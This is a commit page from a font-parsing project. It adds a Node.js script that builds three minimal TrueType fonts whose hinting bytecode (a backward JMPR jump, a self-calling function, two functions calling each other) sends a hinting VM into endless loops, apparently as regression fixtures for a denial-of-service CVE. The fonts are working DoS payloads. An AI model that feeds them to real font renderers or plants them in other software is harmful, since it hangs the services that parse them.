Skip to content

Commit 0826408

Browse files
committed
Add POC font generator and pre-built test fonts for hinting DoS
Follow the pattern established by generate-circular-ref-font.mjs and generate-recursive-cff-font.mjs: a standalone generator script produces .ttf files checked into test/fonts/, and the spec loads them with loadSync(). Three POC fonts are generated: - HintingJMPRLoop.ttf (632 bytes) — JMPR backward jump - HintingRecursiveCALL.ttf (668 bytes) — self-calling function - HintingMutualRecursion.ttf (688 bytes) — two functions in a cycle Tests that need runtime-varied fpgm (LOOPCALL, SLOOP, DUP loop, legitimate hinting) still use the inline buildMinimalTTF helper. https://claude.ai/code/session_01AenQWHQoi5isFmiHVdxjSt
1 parent 4344b94 commit 0826408

File tree

5 files changed

+392
-188
lines changed

5 files changed

+392
-188
lines changed

test/fonts/HintingJMPRLoop.ttf

632 Bytes
Binary file not shown.
688 Bytes
Binary file not shown.
668 Bytes
Binary file not shown.
Lines changed: 308 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,308 @@
1+
/**
2+
* Generates minimal TrueType fonts with crafted hinting instructions that
3+
* trigger denial-of-service vectors in the hinting VM.
4+
*
5+
* This is a proof-of-concept for CVE: TrueType Hinting VM Infinite Loop (CWE-834).
6+
*
7+
* Three fonts are generated:
8+
* 1. HintingJMPRLoop.ttf - JMPR with negative offset creates infinite backward jump
9+
* 2. HintingRecursiveCALL.ttf - Function that CALLs itself, causing infinite recursion
10+
* 3. HintingMutualRecursion.ttf - Two functions that CALL each other in a cycle
11+
*
12+
* Usage: node test/generate-hinting-dos-fonts.mjs
13+
* Output: test/fonts/HintingJMPRLoop.ttf
14+
* test/fonts/HintingRecursiveCALL.ttf
15+
* test/fonts/HintingMutualRecursion.ttf
16+
*/
17+
18+
import { writeFileSync } from 'fs';
19+
import { dirname, join } from 'path';
20+
import { fileURLToPath } from 'url';
21+
22+
const __dirname = dirname(fileURLToPath(import.meta.url));
23+
24+
// --- helpers ---
25+
26+
function u16(v) { return [(v >> 8) & 0xff, v & 0xff]; }
27+
function u32(v) { return [(v >> 24) & 0xff, (v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff]; }
28+
function i16(v) { return u16(v < 0 ? v + 0x10000 : v); }
29+
function i64(v) { return [...u32(0), ...u32(v)]; }
30+
function tag(s) { return [...s].map(c => c.charCodeAt(0)); }
31+
function pad(arr) { while (arr.length % 4 !== 0) arr.push(0); return arr; }
32+
33+
function calcChecksum(bytes) {
34+
const padded = [...bytes];
35+
while (padded.length % 4 !== 0) padded.push(0);
36+
let sum = 0;
37+
for (let i = 0; i < padded.length; i += 4) {
38+
sum = (sum + ((padded[i] << 24) | (padded[i+1] << 16) | (padded[i+2] << 8) | padded[i+3])) >>> 0;
39+
}
40+
return sum;
41+
}
42+
43+
function encodeUTF16BE(str) {
44+
const result = [];
45+
for (let i = 0; i < str.length; i++) {
46+
result.push((str.charCodeAt(i) >> 8) & 0xFF);
47+
result.push(str.charCodeAt(i) & 0xFF);
48+
}
49+
return result;
50+
}
51+
52+
// --- table builders ---
53+
54+
function makeHead() {
55+
return [
56+
...u16(1), ...u16(0), // majorVersion, minorVersion
57+
...u16(1), ...u16(0), // fontRevision (fixed 1.0)
58+
...u32(0), // checksumAdjustment (filled later)
59+
...u32(0x5F0F3CF5), // magicNumber
60+
...u16(0x000B), // flags
61+
...u16(1000), // unitsPerEm
62+
...i64(0), // created
63+
...i64(0), // modified
64+
...i16(0), ...i16(0), // xMin, yMin
65+
...i16(1000), ...i16(1000), // xMax, yMax
66+
...u16(0), // macStyle
67+
...u16(8), // lowestRecPPEM
68+
...i16(2), // fontDirectionHint
69+
...i16(0), // indexToLocFormat (short)
70+
...i16(0), // glyphDataFormat
71+
];
72+
}
73+
74+
function makeHhea() {
75+
return [
76+
...u16(1), ...u16(0), // version
77+
...i16(800), // ascender
78+
...i16(-200), // descender
79+
...i16(0), // lineGap
80+
...u16(600), // advanceWidthMax
81+
...i16(0), // minLeftSideBearing
82+
...i16(0), // minRightSideBearing
83+
...i16(600), // xMaxExtent
84+
...i16(1), // caretSlopeRise
85+
...i16(0), // caretSlopeRun
86+
...i16(0), // caretOffset
87+
...i16(0), ...i16(0), ...i16(0), ...i16(0), // reserved
88+
...i16(0), // metricDataFormat
89+
...u16(1), // numberOfHMetrics
90+
];
91+
}
92+
93+
function makeMaxp() {
94+
return [
95+
...u16(1), ...u16(0), // version 1.0
96+
...u16(1), // numGlyphs
97+
...u16(64), // maxPoints
98+
...u16(1), // maxContours
99+
...u16(0), // maxCompositePoints
100+
...u16(0), // maxCompositeContours
101+
...u16(1), // maxZones
102+
...u16(0), // maxTwilightPoints
103+
...u16(16), // maxStorage
104+
...u16(16), // maxFunctionDefs
105+
...u16(0), // maxInstructionDefs
106+
...u16(64), // maxStackElements
107+
...u16(0), // maxSizeOfInstructions
108+
...u16(0), // maxComponentElements
109+
...u16(0), // maxComponentDepth
110+
];
111+
}
112+
113+
function makeOS2() {
114+
const os2 = new Array(78).fill(0);
115+
// version = 1
116+
os2[0] = 0x00; os2[1] = 0x01;
117+
// xAvgCharWidth = 600
118+
os2[2] = 0x02; os2[3] = 0x58;
119+
// usWeightClass = 400
120+
os2[4] = 0x01; os2[5] = 0x90;
121+
// usWidthClass = 5 (Medium)
122+
os2[6] = 0x00; os2[7] = 0x05;
123+
// sTypoAscender = 800 (offset 68)
124+
os2[68] = 0x03; os2[69] = 0x20;
125+
// sTypoDescender = -200 (offset 70)
126+
os2[70] = 0xFF; os2[71] = 0x38;
127+
// usWinAscent = 1000 (offset 74)
128+
os2[74] = 0x03; os2[75] = 0xE8;
129+
// usWinDescent = 1000 (offset 76)
130+
os2[76] = 0x03; os2[77] = 0xE8;
131+
return os2;
132+
}
133+
134+
function makeName(familyName) {
135+
const family = encodeUTF16BE(familyName);
136+
const style = encodeUTF16BE('Regular');
137+
const records = [
138+
{ nameID: 1, data: family },
139+
{ nameID: 2, data: style },
140+
{ nameID: 4, data: family },
141+
{ nameID: 6, data: family },
142+
];
143+
const stringOffset = 6 + records.length * 12;
144+
const result = [...u16(0), ...u16(records.length), ...u16(stringOffset)];
145+
let strOff = 0;
146+
for (const rec of records) {
147+
result.push(...u16(3), ...u16(1), ...u16(0x0409));
148+
result.push(...u16(rec.nameID), ...u16(rec.data.length), ...u16(strOff));
149+
strOff += rec.data.length;
150+
}
151+
for (const rec of records) result.push(...rec.data);
152+
return result;
153+
}
154+
155+
function makeCmap() {
156+
// Format 4 with just the 0xFFFF sentinel segment
157+
return [
158+
...u16(0), // version
159+
...u16(1), // numTables
160+
...u16(3), // platformID (Windows)
161+
...u16(1), // encodingID (Unicode BMP)
162+
...u32(12), // offset to subtable
163+
// format 4 subtable
164+
...u16(4), // format
165+
...u16(22), // length (14 + 1*8)
166+
...u16(0), // language
167+
...u16(2), // segCountX2
168+
...u16(2), // searchRange
169+
...u16(0), // entrySelector
170+
...u16(0), // rangeShift
171+
...u16(0xFFFF), // endCount sentinel
172+
...u16(0), // reservedPad
173+
...u16(0xFFFF), // startCount sentinel
174+
...u16(1), // idDelta sentinel
175+
...u16(0), // idRangeOffset sentinel
176+
];
177+
}
178+
179+
function makePost() {
180+
return [
181+
...u16(3), ...u16(0), // format 3.0
182+
...u32(0), // italicAngle
183+
...i16(-512), // underlinePosition
184+
...i16(80), // underlineThickness
185+
...u32(0), // isFixedPitch
186+
...u32(0), ...u32(0), // minMemType42, maxMemType42
187+
...u32(0), ...u32(0), // minMemType1, maxMemType1
188+
];
189+
}
190+
191+
function makeLoca() {
192+
// Short format, 1 glyph: offset 0, end 0 (empty)
193+
return [...u16(0), ...u16(0)];
194+
}
195+
196+
function makeHmtx() {
197+
return [...u16(600), ...i16(0)]; // advanceWidth, lsb
198+
}
199+
200+
// --- font assembler ---
201+
202+
function buildFont(familyName, fpgmInstructions) {
203+
const tables = {
204+
'head': makeHead(),
205+
'hhea': makeHhea(),
206+
'maxp': makeMaxp(),
207+
'OS/2': makeOS2(),
208+
'name': makeName(familyName),
209+
'cmap': makeCmap(),
210+
'post': makePost(),
211+
'loca': makeLoca(),
212+
'glyf': [], // empty — glyph 0 has zero length per loca
213+
'hmtx': makeHmtx(),
214+
'fpgm': [...fpgmInstructions],
215+
};
216+
217+
const tags = Object.keys(tables).sort();
218+
const numTables = tags.length;
219+
const searchRange = Math.pow(2, Math.floor(Math.log2(numTables))) * 16;
220+
const entrySelector = Math.floor(Math.log2(numTables));
221+
const rangeShift = numTables * 16 - searchRange;
222+
223+
const headerSize = 12 + numTables * 16;
224+
let dataOffset = headerSize;
225+
226+
const tableRecords = [];
227+
const tableData = [];
228+
for (const t of tags) {
229+
const data = tables[t];
230+
const paddedData = pad([...data]);
231+
tableRecords.push([
232+
...tag(t.padEnd(4, ' ')),
233+
...u32(calcChecksum(data)),
234+
...u32(dataOffset),
235+
...u32(data.length),
236+
]);
237+
tableData.push(...paddedData);
238+
dataOffset += paddedData.length;
239+
}
240+
241+
const font = [
242+
...u32(0x00010000), // sfVersion (TrueType)
243+
...u16(numTables),
244+
...u16(searchRange),
245+
...u16(entrySelector),
246+
...u16(rangeShift),
247+
...tableRecords.flat(),
248+
...tableData,
249+
];
250+
251+
return new Uint8Array(font);
252+
}
253+
254+
// --- POC font definitions ---
255+
256+
// 1. JMPR with negative offset: infinite backward jump
257+
// PUSHW[0] -3, JMPR → ip jumps back to byte 0 each iteration
258+
const jmprLoopFpgm = [
259+
0xB8, // PUSHW[0] (push one 16-bit value)
260+
0xFF, 0xFD, // -3 as signed 16-bit
261+
0x1C, // JMPR
262+
];
263+
264+
// 2. Recursive CALL: function 0 calls itself
265+
// FDEF 0 { CALL 0 } ENDF; CALL 0
266+
const recursiveCallFpgm = [
267+
0xB0, 0x00, // PUSHB[0] 0
268+
0x2C, // FDEF
269+
0xB0, 0x00, // PUSHB[0] 0
270+
0x2B, // CALL (self-recursion)
271+
0x2D, // ENDF
272+
0xB0, 0x00, // PUSHB[0] 0
273+
0x2B, // CALL
274+
];
275+
276+
// 3. Mutual recursion: function 0 calls function 1, function 1 calls function 0
277+
const mutualRecursionFpgm = [
278+
// FDEF 0: CALL 1
279+
0xB0, 0x00, // PUSHB[0] 0
280+
0x2C, // FDEF
281+
0xB0, 0x01, // PUSHB[0] 1
282+
0x2B, // CALL
283+
0x2D, // ENDF
284+
// FDEF 1: CALL 0
285+
0xB0, 0x01, // PUSHB[0] 1
286+
0x2C, // FDEF
287+
0xB0, 0x00, // PUSHB[0] 0
288+
0x2B, // CALL
289+
0x2D, // ENDF
290+
// trigger
291+
0xB0, 0x00, // PUSHB[0] 0
292+
0x2B, // CALL
293+
];
294+
295+
// --- generate ---
296+
297+
const fonts = [
298+
{ name: 'HintingJMPRLoop', fpgm: jmprLoopFpgm },
299+
{ name: 'HintingRecursiveCALL', fpgm: recursiveCallFpgm },
300+
{ name: 'HintingMutualRecursion', fpgm: mutualRecursionFpgm },
301+
];
302+
303+
for (const { name, fpgm } of fonts) {
304+
const bytes = buildFont(name, fpgm);
305+
const outPath = join(__dirname, 'fonts', name + '.ttf');
306+
writeFileSync(outPath, bytes);
307+
console.log(`Written ${bytes.length} bytes to ${outPath}`);
308+
}

0 commit comments

Comments
 (0)